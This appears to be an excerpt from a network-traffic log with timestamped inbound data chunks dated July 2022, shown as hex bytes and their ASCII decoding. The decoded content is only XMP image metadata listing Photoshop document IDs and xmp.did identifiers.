2022-07-20 17:08:42 UTC	1718	IN	Data Raw: 39 66 34 66 64 32 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 64 36 32 36 36 37 61 2d 38 66 66 32 2d 31 31 64 39 2d 39 63 62 63 2d 39 32 38 63 34 64 33 61 65 38 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 64 38 32 66 34 34 36 2d 32 62 62 32 2d 31 31 37 39 2d 38 64 31 62 2d 61 61 33 33 65 36 31 62 61 31 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 64 38 63 66 36 30 30 2d 62 36 30 62 2d 31 31 64 38 2d 39 63 62 38 2d 63 66 31 32 38 38 35 30 32 64 62 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 Data Ascii: 9f4fd206</rdf:li> <rdf:li>adobe:docid:photoshop:7d62667a-8ff2-11d9-9cbc-928c4d3ae819</rdf:li> <rdf:li>adobe:docid:photoshop:7d82f446-2bb2-1179-8d1b-aa33e61ba103</rdf:li> <rdf:li>adobe:docid:photoshop:7d8cf600-b60b-11d8-9cb8-cf1288502db2</rdf:li> <rdf:li>a
2022-07-20 17:08:42 UTC	1734	IN	Data Raw: 68 6f 70 3a 61 66 65 65 36 34 35 39 2d 61 32 39 63 2d 31 31 37 39 2d 38 36 32 36 2d 65 62 32 38 64 36 64 61 37 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 30 31 38 33 65 65 32 2d 34 37 36 66 2d 31 31 64 38 2d 39 30 31 39 2d 66 33 33 34 34 39 38 61 65 35 36 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 30 35 37 38 32 32 31 2d 31 37 61 32 2d 31 31 64 39 2d 39 36 31 36 2d 64 64 34 38 32 66 64 61 37 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 30 38 64 34 66 30 38 2d 37 30 38 35 2d 31 31 64 39 2d 38 37 62 64 Data Ascii: hop:afee6459-a29c-1179-8626-eb28d6da7fbb</rdf:li> <rdf:li>adobe:docid:photoshop:b0183ee2-476f-11d8-9019-f334498ae56d</rdf:li> <rdf:li>adobe:docid:photoshop:b0578221-17a2-11d9-9616-dd482fda7003</rdf:li> <rdf:li>adobe:docid:photoshop:b08d4f08-7085-11d9-87bd
2022-07-20 17:08:42 UTC	1750	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 33 63 65 34 37 62 2d 34 65 61 37 2d 31 31 64 61 2d 39 63 32 31 2d 65 62 34 66 34 31 30 39 62 32 61 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 36 31 39 66 34 65 2d 33 35 32 63 2d 31 31 65 38 2d 61 33 37 30 2d 65 31 32 38 36 31 64 62 63 35 66 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 61 31 62 39 63 62 2d 63 65 63 36 2d 31 31 64 39 2d 62 33 36 32 2d 65 62 35 63 38 31 61 66 36 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 Data Ascii: f:li> <rdf:li>adobe:docid:photoshop:e33ce47b-4ea7-11da-9c21-eb4f4109b2a1</rdf:li> <rdf:li>adobe:docid:photoshop:e3619f4e-352c-11e8-a370-e12861dbc5fa</rdf:li> <rdf:li>adobe:docid:photoshop:e3a1b9cb-cec6-11d9-b362-eb5c81af611e</rdf:li> <rdf:li>adobe:docid:p
2022-07-20 17:08:42 UTC	1758	IN	Data Raw: 65 2d 31 31 37 63 2d 62 65 66 38 2d 64 31 62 36 33 61 35 66 64 63 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 38 37 64 30 65 35 2d 37 64 35 63 2d 31 31 65 31 2d 38 33 38 38 2d 38 32 30 37 36 36 66 61 63 32 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 38 37 64 30 65 61 2d 37 64 35 63 2d 31 31 65 31 2d 38 33 38 38 2d 38 32 30 37 36 36 66 61 63 32 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 66 33 30 63 65 30 2d 63 38 37 31 2d 31 31 65 34 2d 62 61 38 65 2d 61 61 66 61 34 35 65 32 66 36 30 33 3c 2f 72 Data Ascii: e-117c-bef8-d1b63a5fdcd9</rdf:li> <rdf:li>adobe:docid:photoshop:f887d0e5-7d5c-11e1-8388-820766fac2a8</rdf:li> <rdf:li>adobe:docid:photoshop:f887d0ea-7d5c-11e1-8388-820766fac2a8</rdf:li> <rdf:li>adobe:docid:photoshop:f8f30ce0-c871-11e4-ba8e-aafa45e2f603</r
2022-07-20 17:08:42 UTC	1774	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 45 30 44 43 43 32 43 46 35 41 33 44 45 31 31 38 31 44 44 46 45 46 30 44 36 30 39 30 35 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 45 33 36 42 43 41 46 31 46 30 41 31 31 44 42 39 34 30 35 41 46 46 41 30 36 36 30 30 39 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 45 34 34 33 31 41 41 38 43 41 45 31 31 44 45 41 37 34 30 46 44 33 38 39 38 34 44 32 44 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 46 37 36 35 39 41 42 30 45 41 43 44 44 31 31 39 44 36 37 39 44 39 31 32 43 36 46 30 38 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 30 30 34 30 31 38 41 44 41 41 37 44 46 31 31 42 45 45 Data Ascii: i> <rdf:li>uuid:2E0DCC2CF5A3DE1181DDFEF0D60905A8</rdf:li> <rdf:li>uuid:2E36BCAF1F0A11DB9405AFFA0660099B</rdf:li> <rdf:li>uuid:2E4431AA8CAE11DEA740FD38984D2D48</rdf:li> <rdf:li>uuid:2F7659AB0EACDD119D679D912C6F08A7</rdf:li> <rdf:li>uuid:3004018ADAA7DF11BEE
2022-07-20 17:08:42 UTC	1790	IN	Data Raw: 42 31 31 41 39 46 36 41 32 39 46 31 45 36 39 33 38 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 43 45 46 42 35 39 31 41 32 39 44 46 31 31 41 45 37 41 46 43 31 38 36 38 42 43 33 42 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 46 43 39 36 37 36 32 46 34 35 31 31 44 44 39 37 35 35 46 44 46 44 44 41 41 46 35 32 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 33 35 35 43 31 35 33 34 36 44 46 44 43 31 31 41 32 31 34 41 44 38 39 39 32 39 45 33 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 33 38 39 33 41 30 31 33 46 41 46 31 31 44 44 41 44 35 45 42 34 45 39 33 33 46 34 39 42 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: B11A9F6A29F1E6938E2</rdf:li> <rdf:li>uuid:62CEFB591A29DF11AE7AFC1868BC3BA7</rdf:li> <rdf:li>uuid:62FC96762F4511DD9755FDFDDAAF5296</rdf:li> <rdf:li>uuid:6355C15346DFDC11A214AD89929E38D3</rdf:li> <rdf:li>uuid:63893A013FAF11DDAD5EB4E933F49BD8</rdf:li> <rdf:l
2022-07-20 17:08:42 UTC	1798	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 42 30 31 37 39 30 31 36 41 46 44 44 46 31 31 41 42 44 32 46 37 36 37 33 36 46 30 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 42 35 39 34 35 44 44 45 43 31 37 45 32 31 31 42 33 39 46 46 30 43 37 32 35 45 33 36 34 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 42 36 36 36 39 43 39 33 37 42 44 45 30 31 31 39 36 36 44 39 41 41 34 36 46 33 43 31 30 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 42 38 44 45 45 38 43 44 36 35 41 31 31 44 46 41 42 38 38 43 30 30 42 46 41 41 30 32 45 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 42 41 33 44 34 43 43 39 45 37 31 44 43 31 31 Data Ascii: f:li> <rdf:li>uuid:7B0179016AFDDF11ABD2F76736F00A5C</rdf:li> <rdf:li>uuid:7B5945DDEC17E211B39FF0C725E364D9</rdf:li> <rdf:li>uuid:7B6669C937BDE011966D9AA46F3C1044</rdf:li> <rdf:li>uuid:7B8DEE8CD65A11DFAB88C00BFAA02E84</rdf:li> <rdf:li>uuid:7BA3D4CC9E71DC11
2022-07-20 17:08:42 UTC	1814	IN	Data Raw: 38 33 33 35 44 31 39 45 31 30 32 45 33 30 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 45 39 45 30 33 33 38 37 45 33 41 44 46 31 31 39 36 36 44 42 34 30 31 41 45 39 32 39 42 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 45 42 33 43 33 33 33 37 32 34 41 44 46 31 31 39 45 41 31 42 41 41 42 35 43 45 39 43 46 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 46 32 37 31 36 38 45 34 36 35 37 44 45 31 31 38 43 32 30 42 30 46 34 43 38 39 37 46 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 46 39 42 34 36 30 37 46 42 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: 8335D19E102E3037</rdf:li> <rdf:li>uuid:AE9E03387E3ADF11966DB401AE929BCF</rdf:li> <rdf:li>uuid:AEB3C333724ADF119EA1BAAB5CE9CF8E</rdf:li> <rdf:li>uuid:AF27168E4657DE118C20B0F4C897FAD4</rdf:li> <rdf:li>uuid:AF9B4607FBCBE011B3FED24831848F59</rdf:li> <rdf:li>u
2022-07-20 17:08:42 UTC	1830	IN	Data Raw: 46 37 41 31 31 44 45 38 42 38 36 39 44 34 38 46 44 38 46 32 34 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 41 34 38 43 33 42 39 46 37 41 31 31 44 45 38 42 38 36 39 44 34 38 46 44 38 46 32 34 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 42 45 46 39 45 42 41 43 37 45 45 36 31 31 38 45 33 42 41 34 36 37 46 32 45 31 45 46 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 44 45 37 35 44 46 39 36 35 42 44 39 31 31 38 38 32 37 45 37 42 36 46 33 43 33 36 46 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 45 34 46 45 41 44 41 30 39 32 45 30 31 31 38 39 41 43 45 45 39 33 42 42 32 42 43 37 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: F7A11DE8B869D48FD8F24D1</rdf:li> <rdf:li>uuid:EDA48C3B9F7A11DE8B869D48FD8F24D1</rdf:li> <rdf:li>uuid:EDBEF9EBAC7EE6118E3BA467F2E1EFAB</rdf:li> <rdf:li>uuid:EDDE75DF965BD9118827E7B6F3C36F17</rdf:li> <rdf:li>uuid:EDE4FEADA092E01189ACEE93BB2BC786</rdf:li> <r
2022-07-20 17:08:42 UTC	1837	IN	Data Raw: 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 38 36 43 45 42 41 30 45 30 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 42 30 46 33 45 43 39 36 34 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 33 34 44 31 37 34 35 42 44 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 43 39 46 30 30 33 43 43 30 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 41 35 37 Data Ascii: 01801174072068118083886CEBA0E0CC</rdf:li> <rdf:li>xmp.did:018011740720681180838B0F3EC9641B</rdf:li> <rdf:li>xmp.did:01801174072068118083934D1745BDB4</rdf:li> <rdf:li>xmp.did:018011740720681180839C9F003CC017</rdf:li> <rdf:li>xmp.did:01801174072068118083A57
2022-07-20 17:08:42 UTC	1853	IN	Data Raw: 31 31 37 34 30 37 32 30 36 38 31 31 38 41 30 35 41 45 41 34 38 32 35 38 38 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 35 37 41 37 39 43 37 45 39 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 43 33 35 43 35 43 36 42 34 38 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 44 42 32 45 34 43 46 Data Ascii: 1174072068118A05AEA482588702</rdf:li> <rdf:li>xmp.did:03801174072068118A6D857A79C7E9AB</rdf:li> <rdf:li>xmp.did:03801174072068118A6DC35C5C6B48D6</rdf:li> <rdf:li>xmp.did:03801174072068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:03801174072068118A6DDB2E4CF
2022-07-20 17:08:42 UTC	1869	IN	Data Raw: 31 37 35 32 30 63 2d 35 65 35 61 2d 34 34 39 35 2d 38 65 33 63 2d 36 37 39 61 39 62 31 36 33 65 34 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 34 41 43 45 30 32 45 35 35 45 30 31 31 39 44 42 38 38 38 45 38 34 32 36 36 38 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 36 41 31 31 36 39 42 31 38 45 32 31 31 39 46 33 35 46 44 46 32 30 45 45 33 34 33 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 61 63 30 38 65 2d 36 62 33 64 2d 34 31 32 31 2d 61 38 34 32 2d 30 36 35 61 35 30 64 38 34 37 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 33 36 45 42 42 35 45 35 42 35 44 46 31 31 39 Data Ascii: 17520c-5e5a-4495-8e3c-679a9b163e4a</rdf:li> <rdf:li>xmp.did:0824ACE02E55E0119DB888E8426685F3</rdf:li> <rdf:li>xmp.did:0826A1169B18E2119F35FDF20EE34307</rdf:li> <rdf:li>xmp.did:082ac08e-6b3d-4121-a842-065a50d847a4</rdf:li> <rdf:li>xmp.did:0836EBB5E5B5DF119
2022-07-20 17:08:43 UTC	1877	IN	Data Raw: 46 35 37 45 33 36 38 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 46 44 36 42 35 46 30 33 46 41 45 30 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 32 33 38 38 33 45 34 32 32 30 36 38 31 31 39 31 30 39 43 32 46 31 35 41 43 46 38 30 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 32 37 45 37 43 33 31 36 32 30 36 38 31 31 41 46 35 32 46 35 42 33 31 37 36 35 42 46 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 35 32 44 32 45 36 39 42 32 37 36 38 31 31 39 35 46 45 41 32 35 42 42 30 46 43 43 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: F57E36873D</rdf:li> <rdf:li>xmp.did:0A80117407206811BFD6B5F03FAE0379</rdf:li> <rdf:li>xmp.did:0B23883E422068119109C2F15ACF8053</rdf:li> <rdf:li>xmp.did:0B27E7C316206811AF52F5B31765BFA9</rdf:li> <rdf:li>xmp.did:0B52D2E69B27681195FEA25BB0FCC8E8</rdf:li> <rd
2022-07-20 17:08:43 UTC	1893	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 39 45 44 32 46 34 43 32 35 32 36 36 38 31 31 39 34 35 37 39 43 35 32 36 30 41 35 44 46 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 39 61 30 34 31 62 62 2d 34 36 31 66 2d 34 38 39 30 2d 61 33 36 32 2d 63 32 33 37 38 39 65 62 63 31 31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 39 62 34 61 32 34 33 2d 34 30 32 66 2d 34 33 64 61 2d 61 66 63 37 2d 66 30 66 61 63 65 36 61 36 63 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 39 63 64 64 62 33 61 2d 65 63 37 62 2d 34 37 35 66 2d 61 37 30 34 2d 66 61 39 61 30 33 66 34 61 34 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 Data Ascii: df:li>xmp.did:19ED2F4C2526681194579C5260A5DF18</rdf:li> <rdf:li>xmp.did:19a041bb-461f-4890-a362-c23789ebc11a</rdf:li> <rdf:li>xmp.did:19b4a243-402f-43da-afc7-f0face6a6c8d</rdf:li> <rdf:li>xmp.did:19cddb3a-ec7b-475f-a704-fa9a03f4a4c6</rdf:li> <rdf:li>xmp.d
2022-07-20 17:08:43 UTC	1909	IN	Data Raw: 61 33 38 2d 33 33 30 36 2d 34 39 61 37 2d 62 32 37 61 2d 65 61 62 61 39 34 35 64 61 64 62 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 34 35 45 46 30 46 38 31 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 37 66 61 61 35 33 2d 34 61 31 65 2d 34 37 34 36 2d 61 62 32 61 2d 62 30 36 31 33 66 35 63 37 66 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 42 34 35 34 43 39 32 37 30 43 45 33 31 31 41 31 41 43 Data Ascii: a38-3306-49a7-b27a-eaba945dadb9</rdf:li> <rdf:li>xmp.did:2945EF0F812068118083C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:297faa53-4a1e-4746-ab2a-b0613f5c7f49</rdf:li> <rdf:li>xmp.did:29B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:29B454C9270CE311A1AC
2022-07-20 17:08:43 UTC	1917	IN	Data Raw: 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 33 39 38 33 37 42 38 33 44 45 45 31 31 31 38 30 42 38 46 39 37 42 39 38 41 36 35 45 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 34 30 37 35 34 42 31 32 32 34 31 31 45 31 38 45 31 44 44 43 41 44 46 37 41 37 35 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 35 45 35 35 45 39 39 46 32 41 45 30 31 31 41 36 44 32 41 44 37 35 41 42 46 39 41 39 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: 53D</rdf:li> <rdf:li>xmp.did:30371CE5A6226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:3039837B83DEE11180B8F97B98A65E63</rdf:li> <rdf:li>xmp.did:3040754B122411E18E1DDCADF7A75FE5</rdf:li> <rdf:li>xmp.did:305E55E99F2AE011A6D2AD75ABF9A9C0</rdf:li> <rdf:li>xm
2022-07-20 17:08:43 UTC	1933	IN	Data Raw: 38 44 45 31 31 41 46 44 43 39 39 31 34 44 42 36 36 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 38 39 30 45 32 36 43 38 41 34 45 32 31 31 38 42 36 43 41 37 34 43 37 39 38 30 44 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 38 41 38 44 36 38 34 34 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 39 42 44 33 37 39 31 35 36 32 45 35 31 31 42 31 35 44 39 46 35 32 39 46 41 31 30 39 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 41 41 32 30 43 36 41 41 32 30 36 38 31 31 38 32 32 41 44 36 38 43 30 34 37 39 37 31 41 38 3c 2f Data Ascii: 8DE11AFDC9914DB6632FA</rdf:li> <rdf:li>xmp.did:3F890E26C8A4E2118B6CA74C7980D239</rdf:li> <rdf:li>xmp.did:3F8A8D6844206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:3F9BD3791562E511B15D9F529FA109BB</rdf:li> <rdf:li>xmp.did:3FAA20C6AA206811822AD68C047971A8</
2022-07-20 17:08:43 UTC	1949	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 45 41 35 30 42 31 46 30 45 32 30 36 38 31 31 41 31 45 30 44 37 37 36 34 38 43 46 42 31 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 45 46 44 38 36 35 44 36 35 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 46 30 39 35 43 39 33 38 33 32 32 36 38 31 31 42 37 35 42 46 42 36 43 41 36 43 36 33 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 46 31 35 33 34 33 37 32 45 32 30 36 38 31 31 38 38 43 36 41 42 44 44 36 41 45 37 31 35 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: df:li> <rdf:li>xmp.did:4EA50B1F0E206811A1E0D77648CFB16F</rdf:li> <rdf:li>xmp.did:4EFD865D65216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4F095C9383226811B75BFB6CA6C637A5</rdf:li> <rdf:li>xmp.did:4F1534372E20681188C6ABDD6AE715D6</rdf:li> <rdf:li>xmp.did:
2022-07-20 17:08:43 UTC	1957	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 35 33 62 66 65 65 61 33 2d 38 31 34 30 2d 64 62 34 63 2d 38 33 62 65 2d 39 62 30 36 30 65 35 66 30 35 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 66 34 30 35 64 61 2d 30 32 35 34 2d 30 37 34 32 2d 61 66 66 35 2d 63 36 37 34 38 65 66 36 66 63 66 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 30 33 37 43 38 45 30 37 32 30 36 38 31 31 38 32 32 41 46 43 31 39 44 36 45 35 36 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 32 42 45 35 41 41 46 44 32 32 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 32 46 46 36 Data Ascii: >xmp.did:53bfeea3-8140-db4c-83be-9b060e5f05ae</rdf:li> <rdf:li>xmp.did:53f405da-0254-0742-aff5-c6748ef6fcf1</rdf:li> <rdf:li>xmp.did:54037C8E07206811822AFC19D6E5615D</rdf:li> <rdf:li>xmp.did:542BE5AAFD226811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:542FF6
